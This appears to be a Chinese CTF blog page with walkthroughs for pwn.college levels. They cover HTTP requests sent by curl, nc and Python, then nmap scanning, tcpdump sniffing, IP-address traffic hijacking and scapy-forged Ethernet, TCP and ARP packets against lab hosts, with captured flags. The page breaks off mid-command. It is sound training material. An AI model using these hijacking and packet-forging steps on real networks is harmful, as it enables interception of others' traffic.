CTF-CLASS
一个存了很多WP的地方,我会不断更新这些内容!
我不得不提醒,大多数 CTF 题目的 WP 都是随机而且独立的,也就是说如果你仅仅是复制了我的 WP 然后提交,往往会导致你不能够通过,甚至被平台检测判定为作弊!
CSE365 sp23
官网在这儿,我的目录在这儿,看起来很入门的课,暂时做了一部分,找一段时间把pwn college的东西都做完然后放上来。
- Talking Web
- Assembly Crash Course
- Building a Web Server
- Reverse Engineering
- Intercepting Communication
- Cryptography
- Web Security
- Binary Exploitation
Wargame
发现的一个小的安全网站,有几个系列也挺入门,暂时做了bandit
- bandit
- Natas
- Leviathan
- Krypton
- Narnia
- Behemoth
- Utumno
- Maze
- Vortex
- Manpage
- Drifter
- FormulaOne
CSE466 FALL22
- Program Misuse
- Program Interaction
- Assembly Crash Course
- Shellcode Injection
- Sandboxing
- Debugging Refresher
- Reverse Engineering
- Memory Errors
- Race Conditions
- Kernel Security
- Program Exploitation
- System Exploitation
MalwareAnalysis
《恶意代码分析实战》一书阅读。
- CH/Lab1
- CH2
- CH/Lab3
- CH/Lab4
- CH/Lab5
- CH/Lab6
- CH/Lab7
- CH/Lab8
- CH/Lab9
- CH/Lab10
- CH/Lab11
- CH/Lab12
- CH/Lab13
- CH/Lab14
- CH/Lab15
- CH/Lab16
- CH/Lab17
- CH/Lab18
- CH/Lab19
- CH/Lab20
- CH/Lab21
TODO-LIST
- CSE 494 sp23
- Return Oriented Programming
- Format String Exploits
- File Struct exploits
- Dynamic Allocator Misuse
- Exploitation Primitives and Memory Mastery
- Dynamic Allocator Exploitation
- Microarchitecture Exploitation
CSE365
sp23,不得不说pwn college真是精品网站,题目很丰富,质量也还不错,入门、进阶都有,而且提供的靶场非常良心!在我一大通瞎搞之后,空间居然还这么大!
Filesystem Size Used Avail Use% Mounted on
overlay 916G 169G 701G 20% /
tmpfs 64M 0 64M 0% /dev
tmpfs 126G 0 126G 0% /sys/fs/cgroup
overlay 916G 169G 701G 20% /usr/sbin/docker-init
/dev/loop79 982M 557M 360M 61% /home/hacker
/dev/sdc2 916G 169G 701G 20% /etc/hosts
shm 64M 0 64M 0% /dev/shm
tmpfs 126G 0 126G 0% /proc/acpi
tmpfs 126G 0 126G 0% /proc/scsi
tmpfs 126G 0 126G 0% /sys/firmware
而且主目录持久保存,真是爱了!
模块总结
talking web
这个模块比较简单,就是让你熟练使用curl、nc、python来进行http包的发送,是比较基础的。但是可以都记录下来这些内容,以便日后查阅。
intercepting communication
这个模块涉及到了计算机网络的四层网络结构,还算是有点意思吧,大多数所需要的知识其实如果学过计算机网络这门课本身的话,都是最最浅显的。不过这个模块的意义就在于学习一下arp,ip,scapy怎么用,看看这些知识是怎么应用的,最后一个题有些困难,我在看了解答之后也是问了一个学了CTF的同学才搞定,G
主要是scapy的学习资料有点儿少,我搜了不少也没搜到最后一个特别相关的,不过相信在写完这些挑战之后对scapy和计算机网络的理解会有一定加深的。
讲解
YOUTUBE上pwn college上传了老师的讲解,大多数很细致,少部分没有完成给出过程,但都有思路,需要自己去实现。其实在实现了之后发现也就是这么回事儿,但是思考的过程有时候是痛苦的。
友链
另一位搞安全的盆友的博客
knoeledge
重点是http 请求报文,这部分不太涉及响应报文 一个 http 请求报文由四个部分组成:
- 请求行(Request-Line)
- 请求头部(Request Header Fields)
- 回车换行(CRLF)
- 消息体(Message Body)
请求行(Request-Line)
我们来看一开始给的示例的请求行
POST / HTTP/1.1
请求行分为了三个部分:
- 请求方法(Method)
- 请求 URI
- HTTP 协议版本 三者之间用空格分隔。
请求方法
- GET:获取资源
- POST:传输实体主体
- PUT:传输文件
- HEAD:获得报文首部(相当于GET方法获得的资源去掉正文)
- DELETE:删除文件
- OPTIONS:询问支持的方法(客户端问服务器)
- TRACE:追踪路径
- OCONNECT:要求用隧道协议连接代理
- LINK:建立与资源之间的联系
- UNLINE:断开连接关系
请求头部(Request Header Fields)
这部分由成对的请求头部组成,用来告知服务端请求的更多信息。
这是未来的重中之重!务必掌握!
- Host :请求的资源在哪个主机的端口上
- Connection:该请求支持长连接(heep_alive)
- Content-Length:正文内容长度
- Content-Type:数据类型
- User-Agent:声明用户的操作系统和浏览器版本信息
- Accent:发起了请求
- Referer:当前页面是从哪个页面跳转过来的
- Accept-Encoding:接受的编码
- Accept-Language:接受的语言类型
- Cookie:用于在客户端存储少量信息,通常用于实现会话(session)功能
消息体(Message Body)
这部分携带了本次请求需要发往服务端的信息,有的 Method 有这部分,而有的 Method 不需要这部分。
比如 get 方法就没有消息体,get 方法一般都是通过 query 来传递参数。
而 post 方法一般就有消息体。
请求头部具体信息
ref
Useful cmd
/challenge/run
Output:
hacker@talking-web-level-12:~$ /challenge/run
* Serving Flask app 'run'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://127.0.0.1:80
Press CTRL+C to quit
行吧,这一大堆挑战,倒是让我把curl nc这俩玩意儿玩儿熟了。。。
level1
Send an HTTP request using curl
curl http://127.0.0.1:80
level2
Send an HTTP request using nc
printf "GET / HTTP/1.1\r\n\r\n" | nc 127.0.0.1 80
ref
level3
Send an HTTP request using python
import requests
response = requests.get('http://127.0.0.1:80')
print(response.content)
level4
Set the host header in an HTTP request using curl
curl -H 'Host: f04e757423e4172f7391a2c52dd6d52b' http://127.0.0.1:80
level5
Set the host header in an HTTP request using nc
echo -e "GET / HTTP/1.1\r\nHost: e87665191d938ed557e6d75bed2a59e7\r\n\r\n" | nc 127.0.0.1 80
level6
Set the host header in an HTTP request using python
import requests
url = 'http://127.0.0.1:80'
headers = {'Host': '37ae8c34ce6b69de03c0514664f1de72'}
response = requests.get(url, headers=headers)
print(response.text)
level7
Set the path in an HTTP request using curl
curl http://127.0.0.1:80/32edfeba32e2616897b6a4907182e609
level8
Set the path in an HTTP request using nc
printf "GET /a2ef4bee2f651380996e3e91ec9ae47b HTTP/1.1\r\n\r\n" | nc 127.0.0.1 80
level9
Set the path in an HTTP request using python
import requests
url = 'http://127.0.0.1:80/563d4434a61e9b4f8aad9f89476f9d56'
headers = {'Host': '37ae8c34ce6b69de03c0514664f1de72'}
response = requests.get(url, headers=headers)
print(response.text)
level10
URL encode a path in an HTTP request using curl
curl --request GET --url 'http://127.0.0.1/5db90f90%20c57f0931/898c7a05%207a6a6c70'
level11
URL encode a path in an HTTP request using nc
echo -ne "GET /c84632a0%203d7cd667/cc68c4e5%205289cce4 HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" | nc 127.0.0.1 80
level12
URL encode a path in an HTTP request using python
import http.client
conn = http.client.HTTPConnection("127.0.0.1", 80)
path = '/24f18995%2035ce2423/0dc75e53%20a62355c0'
conn.request("GET", path)
response = conn.getresponse()
print(response.read().decode())
level13
Specify an argument in an HTTP request using curl
curl -X GET "http://127.0.0.1?a=d12e875e302a313b93e311080177c69e"
level14
Specify an argument in an HTTP request using nc
echo -ne "GET /?a=2469a7322bdff77e7cf50f7a397ecf1e HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" | nc 127.0.0.1 80
level15
Specify an argument in an HTTP request using python
import http.client
conn = http.client.HTTPConnection("127.0.0.1", 80)
params = 'a=70206814776ee99485d36f75416cc53e'
conn.request("GET", "/?" + params)
response = conn.getresponse()
print(response.read().decode())
or
import requests
url = 'http://127.0.0.1/?a=2469a7322bdff77e7cf50f7a397ecf1e'
response = requests.get(url)
print(response.text)
level16
Specify multiple arguments in an HTTP request using curl
curl -X GET "http://127.0.0.1?a=ecd147484bddde7d37b1911de43a8879&b=40d9af5c%20d0b5b669%266fea1792%23e808fb58"
level17
Specify multiple arguments in an HTTP request using nc
echo -ne "GET /?a=5d723fd68383a9c49eb60b0633069601&b=164073f7%207871c6b5%26b94dd88d%23977ae717 HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" | nc 127.0.0.1 80
level18
Specify multiple arguments in an HTTP request using python
import requests
url = 'http://127.0.0.1/?a=4ce9272291b7199073124105d91e05b8&b=56eb0b42%204ae6359b%26f16e873e%2313ac55ab'
response = requests.get(url)
print(response.text)
level19
Include form data in an HTTP request using curl
curl -X POST -d "a=aa62a14fe954e109fd0afd6a6b81ae87&b=123" "http://127.0.0.1/"
level20
Include form data in an HTTP request using nc
echo -ne "POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 64\r\n\r\na=0f4e8daf3fc9d8aa6a59af8b111cd9b6" | nc 127.0.0.1 80
level21
Include form data in an HTTP request using python
import requests
url = 'http://127.0.0.1/'
data = {'a': '728301dd59f5157a45b164530cd4bd9a'}
response = requests.post(url, data=data)
print(response.text)
level22
Include form data with multiple fields in an HTTP request using curl
curl -X POST -d "a=6d2e619d8691e29c605eacecff1d17f5&b=40f3c192%204a42b9c8%26042940eb%23ce8b5cc9" "http://127.0.0.1/"
level23
Include form data with multiple fields in an HTTP request using nc
echo -ne "POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 78\r\n\r\na=7bd29b83c57c2e3a0c9f0387fabea724&b=20c245cf%2075d26cf5%26100f8c42%23d1702767" | nc 127.0.0.1 80
level24
Include form data with multiple fields in an HTTP request using python
import requests
url = 'http://127.0.0.1/'
data = {'a': 'db865b3bfd0d2e5ffa0c112dc700ddb9','b':'d7d3ad1a edee631b&eba293d5#d6e4cf79'}
response = requests.post(url, data=data)
print(response.text)
level25
Include json data in an HTTP request using curl
curl -X POST -H "Content-Type: application/json" -d '{"a": "e1d94af35f929e364d037ca78f5dbfa0"}' http://127.0.0.1/
level26
Include json data in an HTTP request using nc
data='{"a": "95a77ed287428e0fbc550158d061c07c"}'
length=$(echo -n "$data" | wc -c)
printf 'POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: %s\r\n\r\n%s' "$length" "$data" | nc 127.0.0.1 80
level27
Include json data in an HTTP request using python
import requests
import json
url = "http://127.0.0.1"
data = {'a': "98f37a6b119aec9d10b6a7de1934c9ca"}
json_data = json.dumps(data)
headers = {'Content-Type': 'application/json'}
response = requests.post(url, data=json_data, headers=headers)
print(response.text)
level28
Include complex json data in an HTTP request using curl
curl -X POST -H "Content-Type: application/json" -d '{"a": "39a0e409bba714d0ffe73ce038cb7b3a", "b": {"c": "930862ea", "d": ["c6a605f0", "c7ad7398 3fbbb9dc&458f3441#25f76ea0"]}}' http://127.0.0.1/
level29
Include complex json data in an HTTP request using nc
data='{"a": "b7ae4afbfd6f78ad7ab06f1203ece1be","b":{"c": "0ce40827", "d": ["fb1739d2", "5cde3361 bfdb9003&a42c27d5#f291d8c2"]}}'
length=$(echo -n "$data" | wc -c)
printf 'POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: %s\r\n\r\n%s' "$length" "$data" | nc -q 0 127.0.0.1 80
level30
Include complex json data in an HTTP request using python
import requests
import json
url = "http://127.0.0.1"
data = {'a': "04c2b7fc38f2a2057ab89b310a7d8311",
"b":{
'c': '5ff12d56',
'd': ['93ca0c53', '9b346607 fa6d6f12&c772efa3#fddc4350']
}
}
json_data = json.dumps(data)
headers = {'Content-Type': 'application/json'}
response = requests.post(url, data=json_data, headers=headers)
print(response.text)
level31
Follow an HTTP redirect from HTTP response using curl
curl -L http://127.0.0.1
level32
Follow an HTTP redirect from HTTP response using nc
printf 'GET /fd33eca3350f203a7cc09fa116eaa060 HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n' | nc -w 10 -q 0 127.0.0.1 80
level33
Follow an HTTP redirect from HTTP response using python
import requests
url = 'http://127.0.0.1'
response = requests.get(url, allow_redirects=True)
new_response = requests.get(response.url)
print(new_response.text)
level34
Include a cookie from HTTP response using curl
curl -b "cookie=d2b2eb6ac86abb563027659450780a51" -L -v http://127.0.0.1
level35
Include a cookie from HTTP response using nc
printf 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: cookie=c1c5e422a53c2b73d080674d417d06fd\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 80
level36
Include a cookie from HTTP response using python 貌似题有点儿毛病啊。。。
import requests
url = 'http://127.0.0.1'
cookies = {'cookie_name': 'cookie_value'}
response = requests.get(url, cookies=cookies)
print(response.text)
level37
Include a cookie from HTTP response using curl
curl -c cookies.txt http://127.0.0.1
curl -b cookies.txt -L -v http://127.0.0.1
level38
Include a cookie from HTTP response using nc
好吧这个玩意儿,就是重复运行几遍,就行了,应该写个脚本。。。 我TM手动输了好几遍,我日。。。
printf 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: session=eyJzdGF0ZSI6MX0.ZLMdXw.VU5O3fTNhAgzX_0GG5B3kRNVZ0M\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 80
printf 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: session=eyJzdGF0ZSI6Mn0.ZLMdcQ.Ip32pWs2LPaq23ckcO5TQSjN5Us\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 80
printf 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: session=eyJzdGF0ZSI6M30.ZLMdjQ.3QXprUl27h0da-RC0xjx1ZwrLZ0\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 80
level39
Include a cookie from HTTP response using python
貌似确实有毛病了
import requests
url = 'http://127.0.0.1'
cookies = {'cookie_name': 'cookie_value'}
response = requests.get(url, cookies=cookies)
print(response.text)
碎碎念,这个nc是真的难用,还是python好用
Knowledge
这一部分是一个极简版的计算机网络的知识。
大概意思是你需要建立一个四层网络模型的概念,然后建立起每一层所使用的协议和数据包都是什么
从下往上依次是这样的:
HTTP---实现功能
TCP---识别进程
IP---识别主机
ARP(ETHER)---物理网卡
然后本部分就是研究以这些包为基础建立起的通讯的一些过程。
实用工具scapy
发包可以看这个
level14需要使用sniff
新增内容:关于scapy的使用,可以看《PYTHON渗透测试实战》一书,里面的讲解还算凑合(重点是面向不会英语的童鞋),同时,对于这一个模块来说,这本书的第一章有一个基础的讲解,可以有个简单的认识。有一门付费课程好像和这本书的内容差不多。
简介
Scapy使用了 类+屈性” 的方法来构造数 据包,在Scapy中每一个网络协议就是一个类,协议中的字段就对应着屈性。只需要实例化一 个协议类, 就可以创建一个该协议类型的数据包。 例如我们要构造一个IP数据包, 可以使用 如下方式。
IP()
对于IP来说, 报应要的屈性就是源地址和目标地址, 这两个屈性在Scapy 中使用参数src和dst来设置。例如我们要构造一个发往 “ 192.168.1.101“ 的1P数据包, 就可 以使用以下语旬。
ip=IP(dst="192.168.1.101")
由于网络中协议数扯众多,因此 Scapy在内部实现了大械的网络协议(DNS、 ARP、IP、TCP、 UDP等)。 人类靠记忆来完成 这个工作是很难的。要想熟练地使用Scapy,大家需要掌握协议的一些基础知识。 另外Scapy也提供了一个可以便捷查看数据包格式的函数ls()
,当你不了觥如何为一个IP数据包指定目标地址的时候,就可以使用下面的程序。
from scapy.all import IP,ls
pkt= IP()
ls(pkt)
会看到大概如下的结果
Scapy采用分层的方式来构造数据包, 通常最底层的协议为Ether, 然后是IP, 再之后是TCP或者UDP。
分层是通过符号“/
“实现的。如果一个数据包是由多层协议组合而成的,那么这些协议之间就可以使用”/
“分开, 并按照协议由底而上的顺序从左向右排列。例如我们可以使用“Ether()/IP()/TCP()“来构造一个TCP数据包。
from scapy.all import*
pkt=Ether()/IP()/TCP()
ls (pkt)
>>> ls(IP())
version : BitField (4 bits) = 4 ('4')
ihl : BitField (4 bits) = None ('None')
tos : XByteField = 0 ('0')
len : ShortField = None ('None')
id : ShortField = 1 ('1')
flags : FlagsField = <Flag 0 ()> ('<Flag 0 ()>')
frag : BitField (13 bits) = 0 ('0')
ttl : ByteField = 64 ('64')
proto : ByteEnumField = 0 ('0')
chksum : XShortField = None ('None')
src : SourceIPField = '127.0.0.1' ('None')
dst : DestIPField = '127.0.0.1' ('None')
options : PacketListField = [] ('[]')
可以使用lsc()
来查看所有可用的函数
raw()
可以以字节显示包的内容
>>> raw(IP())
b'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>>
发包
send()函数和sendp()函数。这两个函数的区别在于send()函数是川来发送IP数据包的,而sendp()函数是用来发送Ether数据包的。 >注意,如果这个数据包发送成功,那么下方会有一个“Sent 1 packets“的显示
收
sr()函数是Scapy的核心, 它的返回值是两个列表, 第一个列表包含收到了应答的数据包 和对应的应答数据包,第二个列表包含未收到应答的数据包。所以可以使用两个列表来保存 srO函数的返回值。
>>> Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc=get_if_hwaddr("eth0"), psrc="10.0.0.3", pdst="10.0.0.4")
<Ether dst=ff:ff:ff:ff:ff:ff type=ARP |<ARP op=who-has hwsrc=00:0c:29:34:25:34 psrc=10.0.0.3 pdst=10.0.0.4 |>>
>>> ans,nans=sr(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc=get_if_hwaddr("eth0"), psrc="10.108.4.148", pdst="10.108.4.134"))
Begin emission:
WARNING: Mac address to reach destination not found. Using broadcast.
Finished sending 1 packets.
........................................................................ans.su..mmar..y........()...........
........................................................................................................................................................................^C
Received 263 packets, got 0 answers, remaining 1 packets
>>> ans,nans=sr(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc=get_if_hwaddr("eth0"), psrc="10.108.4.148", pdst="10.108.4.138"))
Begin emission:
WARNING: Mac address to reach destination not found. Using broadcast.
Finished sending 1 packets.
........................................................................................................................................................................................................INFO: DNS RR prematured end (ofs=10, len=10)
.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................INFO: DNS RR prematured end (ofs=10, len=10)
.....^C
Received 806 packets, got 0 answers, remaining 1 packets
>>> ans
<Results: TCP:0 UDP:0 ICMP:0 Other:0>
sniff
这个函数完整的格式为sniff(filter=“”,iface=“any”,pm=f1.mction,count=N)。第1个参数是filter, 可以用来对数据包进行过滤。 例如我们指定只捕获与192.168.1.]有关的数据包, 就可以使用 “host 192.168.1.1 “。
但是这种仅依靠IP地址来过滤的方法有很大的局限性,下面我们介绍一种功能更加完善的 方法。1993年,史蒂文·麦卡内CSteven McCanne)与范·雅各布森(Van Jacobson)在USENIX’93 会议上提出了一种机制一伯克利包过滤(Berkeley Packet Filter, BPF),它采用了一种与自然语言很接近的语法, 利用这种语法构成的字符串可以确定保留哪些数据包以及忽略哪些数 据包。 这种语法很容易理解。例如最简单的空字符串,表示的就是匹配所有数据包,也就是保留 所有的数据包。如果这个字符串不为空,那么只有那些使字符串表达式值为 “真" 的数据包才 会被保留。这种字符串通常由一个或者多个原语所组成,每个原语又由一个标识符(名称或者 数字)组成, 后面跟着一个或者多个限定符。
第2个参数iface川来指定要使用的网卡, 默认为第一块网卡、
第3个参数prn表示对捕获到的数据包进行处理的函数
如果这个函数比较长,也可以定义成回调函数。这个回调函数以接收到的妏据包对象作为唯一的参数,然后再调用sniffi()函数
第4个参数count用来指定监听到数据包的数批, 达到指定的妏扒就会停止监听。例如我 们只希望监听到10个数据包就停止。
其他
tcpdump已经足够好用了,wireshark是更强大的图形化工具,只不过我连那个实验环境总是很卡,所以最后都采取命令行了。
WP
level1 Connect to a remote host
nc 10.0.0.3 31337
level2 Listen for a connection from a remote host
nc -l 31337
level3 Find and connect to a remote host
# 扫描端口nmap -p 31337 10.0.0.0/24
root@ip-10-0-0-2:~# nmap -p 31337 10.0.0.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-15 22:54 UTC
Nmap scan report for 10.0.0.47
Host is up (0.000090s latency).
PORT STATE SERVICE
31337/tcp open Elite
MAC Address: 1A:78:B6:5A:08:A8 (Unknown)
Nmap scan report for 10.0.0.2
Host is up (0.000058s latency).
PORT STATE SERVICE
31337/tcp closed Elite
Nmap done: 256 IP addresses (2 hosts up) scanned in 28.46 seconds
root@ip-10-0-0-2:~# nc 10.0.0.2 31337
root@ip-10-0-0-2:~# nc 10.0.0.47 31337
# 出现flag
level4 Find and connect to a remote host on a large network
root@ip-10-0-0-2:~# nmap -p 31337 -T5 10.0.0.0/16
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-15 23:44 UTC
Nmap scan report for 10.0.0.2
Host is up (0.000053s latency).
PORT STATE SERVICE
31337/tcp closed Elite
Nmap scan report for 10.0.211.92
Host is up (0.000093s latency).
PORT STATE SERVICE
31337/tcp open Elite
MAC Address: D6:5F:9A:28:AE:26 (Unknown)
Nmap done: 65536 IP addresses (2 hosts up) scanned in 2583.60 seconds
# 这个我没啥好办法,感觉时间很长啊。
nc 10.0.211.92 31337
level5 Monitor traffic from a remote host
tcpdump -i any port 31337
# 先这样看一下,发现包是重复的,其中有一个数据包长度为58,推测有用
tcpdump -i any port 31337 -X
# 这会输出具体的十六进制和ascii码
# 然后就得到了具体的包了
01:10:28.660067 eth0 Out IP 10.0.0.2.31337 > 10.0.0.3.50004: Flags [P.], seq 1:59, ack 60, win 509, options [nop,nop,TS val 4114781018 ecr 1191307187], length 58
0x0000: 4500 006e 4d18 4000 4006 d96d 0a00 0002 E..nM.@.@..m....
0x0010: 0a00 0003 7a69 c354 b6ab 89fa 61ea 4259 ....zi.T....a.BY
0x0020: 8018 01fd c37f 0000 0101 080a f542 935a .............B.Z
0x0030: 4701 e7b3 7077 6e2e 636f 6c6c 6567 657b G...pwn.college{
0x0040: 5934 4a50 5173 526d 4367 4e71 636a 6e69 Y4JPQsRmCgNqcjni
0x0050: 6532 3878 7775 4961 5755 4e2e 644e 6a4e e28xwuIaWUN.dNjN
0x0060: 7a4d 444c 3251 6a4d 794d 7a57 7d0a zMDL2QjMyMzW}.
level6 Monitor slow traffic from a remote host
# 老规矩先看一下
tcpdump -i any port 31337
# 这个题也比较水了,就是每个包只发送其中的一位,然后你等58个包,就凑齐了。
tcpdump -i any port 31337 and src 10.0.0.2 and dst 10.0.0.3 and greater 1 -X
然后输出大概是这样的
01:32:10.535829 eth0 Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 5:6, ack 6, win 510, options [nop,nop,TS val 4116082894 ecr 1192609080], length 1
0x0000: 4500 0035 9482 4000 4006 923c 0a00 0002 E..5..@.@..<....
0x0010: 0a00 0003 7a69 c06a f4c7 a8af feb5 c987 ....zi.j........
0x0020: 8018 01fe eab4 0000 0101 080a f556 70ce .............Vp.
0x0030: 4715 c538 63 G..8c
01:32:11.537097 eth0 Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 6:7, ack 7, win 510, options [nop,nop,TS val 4116083896 ecr 1192610081], length 1
0x0000: 4500 0035 9483 4000 4006 923b 0a00 0002 E..5..@.@..;....
0x0010: 0a00 0003 7a69 c06a f4c7 a8b0 feb5 c988 ....zi.j........
0x0020: 8018 01fe d6df 0000 0101 080a f556 74b8 .............Vt.
0x0030: 4715 c921 6f G..!o
01:32:12.538387 eth0 Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 7:8, ack 8, win 510, options [nop,nop,TS val 4116084897 ecr 1192611083], length 1
0x0000: 4500 0035 9484 4000 4006 923a 0a00 0002 E..5..@.@..:....
0x0010: 0a00 0003 7a69 c06a f4c7 a8b1 feb5 c989 ....zi.j........
0x0020: 8018 01fe d20a 0000 0101 080a f556 78a1 .............Vx.
0x0030: 4715 cd0b 6c G...l
01:32:13.539649 eth0 Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 8:9, ack 9, win 510, options [nop,nop,TS val 4116085898 ecr 1192612084], length 1
0x0000: 4500 0035 9485 4000 4006 9239 0a00 0002 E..5..@.@..9....
0x0010: 0a00 0003 7a69 c06a f4c7 a8b2 feb5 c98a ....zi.j........
0x0020: 8018 01fe ca36 0000 0101 080a f556 7c8a .....6.......V|.
0x0030: 4715 d0f4 6c G...l
01:32:14.540780 eth0 Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 9:10, ack 10, win 510, options [nop,nop,TS val 4116086899 ecr 1192613085], length 1
0x0000: 4500 0035 9486 4000 4006 9238 0a00 0002 E..5..@.@..8....
0x0010: 0a00 0003 7a69 c06a f4c7 a8b3 feb5 c98b ....zi.j........
0x0020: 8018 01fe c962 0000 0101 080a f556 8073 .....b.......V.s
0x0030: 4715 d4dd 65 G...e
01:32:15.541382 eth0 Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 10:11, ack 11, win 510, options [nop,nop,TS val 4116087900 ecr 1192614086], length 1
0x0000: 4500 0035 9487 4000 4006 9237 0a00 0002 E..5..@.@..7....
0x0010: 0a00 0003 7a69 c06a f4c7 a8b4 feb5 c98c ....zi.j........
0x0020: 8018 01fe bf8e 0000 0101 080a f556 845c .............V.\
0x0030: 4715 d8c6 67 G...g
01:32:16.542597 eth0 Out IP 10.0.0.2.31337 > 10.0.0.3.49258: Flags [P.], seq 11:12, ack 12, win 510, options [nop,nop,TS val 4116088901 ecr 1192615087], length 1
0x0000: 4500 0035 9488 4000 4006 9236 0a00 0002 E..5..@.@..6....
0x0010: 0a00 0003 7a69 c06a f4c7 a8b5 feb5 c98d ....zi.j........
0x0020: 8018 01fe b9ba 0000 0101 080a f556 8845 .............V.E
0x0030: 4715 dcaf 65 G...e
我们就把最后一位拼起来就行了,反正这一步大概有点儿烦,可以写脚本,也可以自己手动复制:(
# 好吧,我脚本没写对,自己手动复制的,尼玛
pwn.college{kNJHOFI1VRpp7QOATsbMSjGQiQp.dRjNzMDL2QjMyMzW}
level7 Hijack traffic from a remote host by configuring your network interface
tcpdump -i any
# 发现10.0.0.4一直在发送请求。这时候我骗它应该就行了。
ip addr add 10.0.0.2/8 dev eth0
然后发现了这些包
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
15:07:21.562729 eth0 B ARP, Request who-has 10.0.0.2 tell 10.0.0.4, length 28
15:07:21.562752 eth0 Out ARP, Reply 10.0.0.2 is-at fa:9a:ce:e8:ef:b2 (oui Unknown), length 28
15:07:21.562833 eth0 In IP 10.0.0.4.37984 > 10.0.0.2.31337: Flags [S], seq 1279607758, win 64240, options [mss 1460,sackOK,TS val 1986706165 ecr 0,nop,wscale 7], length 0
15:07:21.562843 eth0 Out IP 10.0.0.2.31337 > 10.0.0.4.37984: Flags [R.], seq 0, ack 1279607759, win 0, length 0
15:07:21.639815 lo In IP localhost.53883 > 127.0.0.11.domain: 51406+ PTR? 2.0.0.10.in-addr.arpa. (39)
15:07:21.639846 lo In IP 127.0.0.11 > localhost: ICMP 127.0.0.11 udp port domain unreachable, length 75
15:07:21.639911 lo In IP localhost.39242 > 127.0.0.11.domain: 51406+ PTR? 2.0.0.10.in-addr.arpa. (39)
15:07:21.639923 lo In IP 127.0.0.11 > localhost: ICMP 127.0.0.11 udp port domain unreachable, length 75
15:07:21.640042 lo In IP localhost.46035 > 127.0.0.11.domain: 13917+ PTR? 4.0.0.10.in-addr.arpa. (39)
15:07:21.640052 lo In IP 127.0.0.11 > localhost: ICMP 127.0.0.11 udp port domain unreachable, length 75
15:07:21.640103 lo In IP localhost.50224 > 127.0.0.11.domain: 13917+ PTR? 4.0.0.10.in-addr.arpa. (39)
这个R说明reset位: 表示TCP连接中出现异常必须强制断开连接。例如,一个没有被使用的端口即使发来了连接请求,也无法通信。
然后监听即可
nc -l 31337
这题看了讲解才会,就卡在不知道怎么看这个标志位上,果然知识处处是盲区
然后在你监听以后,就会变成PUSH标志位。
///@TODO: 关于后面的发包,我所有ARP啥的基本上都是发送的广播地址,讲解之中发送给特定地址,没有必要,而且由于我有的关卡住,如果发送给特定的物理网卡,我每次重开挑战都要重新查看,有点儿麻烦。
level8 Manually send an Ethernet packet
主要是使用scapy
>>> sendp(Ether(src="4a:b3:c7:c5:08:7d",dst="ff:ff:ff:ff:ff:ff",type=0xFFFF),iface="eth0")
.
Sent 1 packets.
pwn.college{wl9Wr84duLuF_XsCsoo6EiqhnU3.dZjNzMDL2QjMyMzW}
level9 Manually send an Internet Protocol packet
发IP了
>>> sendp(Ether(src="52:bc:a3:08:14:d1",dst="ff:ff:ff:ff:ff:ff", type=0x0800) / IP(proto=0xFF, src="127.0.0.1",dst="10.0.0.3"), iface="eth0")
.
Sent 1 packets.
pwn.college{c5HrfavanBMm_0po-E47NuCoY2J.ddjNzMDL2QjMyMzW}
level10 Manually send a Transmission Control Protocol packet
>>> sendp(Ether(src="12:af:41:92:01:6f",dst="ff:ff:ff:ff:ff:ff", type=0x0800) / IP(src="127.0.0.1", dst="10.0.0.3", proto=0x06) / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"),
...: iface="eth0")
.
Sent 1 packets.
pwn.college{gSJcnHgB4dNz17jCCuEduVjMEF_.dhjNzMDL2QjMyMzW}
level11 Manually perform a Transmission Control Protocol handshake
sendp(Ether(src=get_if_hwaddr("eth0"),dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.2", dst="10.0.0.3") / TCP(sport=31337, dport=31337, seq=31337, flags="S"),iface="eth0")
sendp(Ether(src=get_if_hwaddr("eth0"),dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.2", dst="10.0.0.3") / TCP(sport=31337, dport=31337, ack=1235161237, seq=31338,flags="A"),iface="eth0")
pwn.college{cMG0JWm3rTQmJHtfC-JNorRv6Ef.dljNzMDL2QjMyMzW}
多么美妙的一张图
level12 Manually send an Address Resolution Protocol packet
>>> sendp(Ether(dst="ff:ff:ff:ff:ff:ff", src=get_if_hwaddr("eth0")) / ARP(op="is-at", hwsrc=get_if_h
